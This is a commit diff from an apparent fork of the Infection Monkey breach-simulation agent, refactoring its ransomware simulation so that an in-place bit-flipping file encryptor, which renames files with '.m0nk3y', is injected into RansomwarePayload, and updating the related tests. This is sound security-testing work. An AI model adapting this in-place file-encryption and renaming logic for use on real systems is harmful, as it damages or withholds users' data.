forked from p15670423/monkey
Agent: Inject InPlaceFileEncryptor into RansomwarePayload
This commit is contained in:
parent
0cb975a592
commit
d9cc66de54
|
@ -23,6 +23,7 @@ from infection_monkey.network.tools import get_interface_to_target, is_running_o
|
|||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from infection_monkey.ransomware import ransomware_payload, readme_utils
|
||||
from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector
|
||||
from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor
|
||||
from infection_monkey.ransomware.ransomware_payload import RansomwarePayload
|
||||
from infection_monkey.system_info import SystemInfoCollector
|
||||
from infection_monkey.system_singleton import SystemSingleton
|
||||
|
@ -40,6 +41,7 @@ from infection_monkey.telemetry.state_telem import StateTelem
|
|||
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
|
||||
from infection_monkey.telemetry.trace_telem import TraceTelem
|
||||
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
||||
from infection_monkey.utils.bit_manipulators import flip_bits
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
|
||||
from infection_monkey.utils.monkey_dir import (
|
||||
|
@ -479,6 +481,10 @@ class InfectionMonkey(object):
|
|||
telemetry_messenger = LegacyTelemetryMessengerAdapter()
|
||||
batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger)
|
||||
|
||||
file_encryptor = InPlaceFileEncryptor(
|
||||
encrypt_bytes=flip_bits, new_file_extension=".m0nk3y", chunk_size=(4096 * 24)
|
||||
)
|
||||
|
||||
targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy()
|
||||
targeted_file_extensions.discard(ransomware_payload.EXTENSION)
|
||||
file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions)
|
||||
|
@ -486,6 +492,7 @@ class InfectionMonkey(object):
|
|||
try:
|
||||
RansomwarePayload(
|
||||
WormConfiguration.ransomware,
|
||||
file_encryptor,
|
||||
file_selector,
|
||||
readme_utils.leave_readme,
|
||||
batching_telemetry_messenger,
|
||||
|
|
|
@ -1,21 +0,0 @@
|
|||
from pathlib import Path
|
||||
|
||||
from infection_monkey.utils import bit_manipulators
|
||||
|
||||
|
||||
class BitflipEncryptor:
|
||||
def __init__(self, chunk_size=64):
|
||||
self._chunk_size = chunk_size
|
||||
|
||||
def encrypt_file_in_place(self, filepath: Path):
|
||||
with open(filepath, "rb+") as f:
|
||||
data = f.read(self._chunk_size)
|
||||
while data:
|
||||
num_bytes_read = len(data)
|
||||
|
||||
encrypted_data = bit_manipulators.flip_bits(data)
|
||||
|
||||
f.seek(-num_bytes_read, 1)
|
||||
f.write(encrypted_data)
|
||||
|
||||
data = f.read(self._chunk_size)
|
|
@ -4,16 +4,12 @@ from pprint import pformat
|
|||
from typing import Callable, List, Optional, Tuple
|
||||
|
||||
from common.utils.file_utils import InvalidPath, expand_path
|
||||
from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor
|
||||
from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
EXTENSION = ".m0nk3y"
|
||||
CHUNK_SIZE = 4096 * 24
|
||||
|
||||
README_SRC = Path(__file__).parent / "ransomware_readme.txt"
|
||||
README_DEST = "README.txt"
|
||||
|
||||
|
@ -22,6 +18,7 @@ class RansomwarePayload:
|
|||
def __init__(
|
||||
self,
|
||||
config: dict,
|
||||
encrypt_file: Callable[[Path], None],
|
||||
select_files: Callable[[Path], List[Path]],
|
||||
leave_readme: Callable[[Path, Path], None],
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
|
@ -32,9 +29,8 @@ class RansomwarePayload:
|
|||
self._readme_enabled = config["other_behaviors"]["readme"]
|
||||
|
||||
self._target_dir = RansomwarePayload.get_target_dir(config)
|
||||
self._new_file_extension = EXTENSION
|
||||
|
||||
self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE)
|
||||
self._encrypt_file = encrypt_file
|
||||
self._select_files = select_files
|
||||
self._leave_readme = leave_readme
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
|
@ -77,8 +73,7 @@ class RansomwarePayload:
|
|||
for filepath in file_list:
|
||||
try:
|
||||
LOG.debug(f"Encrypting {filepath}")
|
||||
self._encryptor.encrypt_file_in_place(filepath)
|
||||
self._add_extension(filepath)
|
||||
self._encrypt_file(filepath)
|
||||
self._send_telemetry(filepath, True, "")
|
||||
except Exception as ex:
|
||||
LOG.warning(f"Error encrypting {filepath}: {ex}")
|
||||
|
@ -86,10 +81,6 @@ class RansomwarePayload:
|
|||
|
||||
return results
|
||||
|
||||
def _add_extension(self, filepath: Path):
|
||||
new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}")
|
||||
filepath.rename(new_filepath)
|
||||
|
||||
def _send_telemetry(self, filepath: Path, success: bool, error: str):
|
||||
encryption_attempt = FileEncryptionTelem(str(filepath), success, error)
|
||||
self._telemetry_messenger.send_telemetry(encryption_attempt)
|
||||
|
|
|
@ -1,34 +0,0 @@
|
|||
import os
|
||||
|
||||
from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
|
||||
TEST_KEYBOARD_TXT,
|
||||
TEST_KEYBOARD_TXT_CLEARTEXT_SHA256,
|
||||
TEST_KEYBOARD_TXT_ENCRYPTED_SHA256,
|
||||
)
|
||||
from tests.utils import hash_file
|
||||
|
||||
from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor
|
||||
|
||||
|
||||
def test_file_encrypted(ransomware_target):
|
||||
test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
|
||||
|
||||
assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
|
||||
|
||||
encryptor = BitflipEncryptor(chunk_size=64)
|
||||
encryptor.encrypt_file_in_place(test_keyboard)
|
||||
|
||||
assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
|
||||
|
||||
|
||||
def test_file_encrypted_in_place(ransomware_target):
|
||||
test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
|
||||
|
||||
expected_inode = os.stat(test_keyboard).st_ino
|
||||
|
||||
encryptor = BitflipEncryptor(chunk_size=64)
|
||||
encryptor.encrypt_file_in_place(test_keyboard)
|
||||
|
||||
actual_inode = os.stat(test_keyboard).st_ino
|
||||
|
||||
assert expected_inode == actual_inode
|
|
@ -54,15 +54,29 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config):
|
|||
|
||||
|
||||
@pytest.fixture
|
||||
def build_ransomware_payload(mock_file_selector, mock_leave_readme, telemetry_messenger_spy):
|
||||
def build_ransomware_payload(
|
||||
mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy
|
||||
):
|
||||
def inner(config):
|
||||
return RansomwarePayload(
|
||||
config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy
|
||||
config,
|
||||
mock_file_encryptor,
|
||||
mock_file_selector,
|
||||
mock_leave_readme,
|
||||
telemetry_messenger_spy,
|
||||
)
|
||||
|
||||
return inner
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def mock_file_encryptor(ransomware_target):
|
||||
from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor
|
||||
from infection_monkey.utils.bit_manipulators import flip_bits
|
||||
|
||||
return InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=".m0nk3y")
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def mock_file_selector(ransomware_target):
|
||||
mock_file_selector.return_value = [
|
||||
|
@ -259,6 +273,8 @@ def test_readme_true(
|
|||
def test_no_readme_if_no_directory(
|
||||
monkeypatch,
|
||||
ransomware_payload_config,
|
||||
mock_file_encryptor,
|
||||
mock_file_selector,
|
||||
mock_leave_readme,
|
||||
telemetry_messenger_spy,
|
||||
ransomware_target,
|
||||
|
@ -268,7 +284,11 @@ def test_no_readme_if_no_directory(
|
|||
ransomware_payload_config["other_behaviors"]["readme"] = True
|
||||
|
||||
RansomwarePayload(
|
||||
ransomware_payload_config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy
|
||||
ransomware_payload_config,
|
||||
mock_file_encryptor,
|
||||
mock_file_selector,
|
||||
mock_leave_readme,
|
||||
telemetry_messenger_spy,
|
||||
).run_payload()
|
||||
|
||||
mock_leave_readme.assert_not_called()
|
||||
|
|
Loading…
Reference in New Issue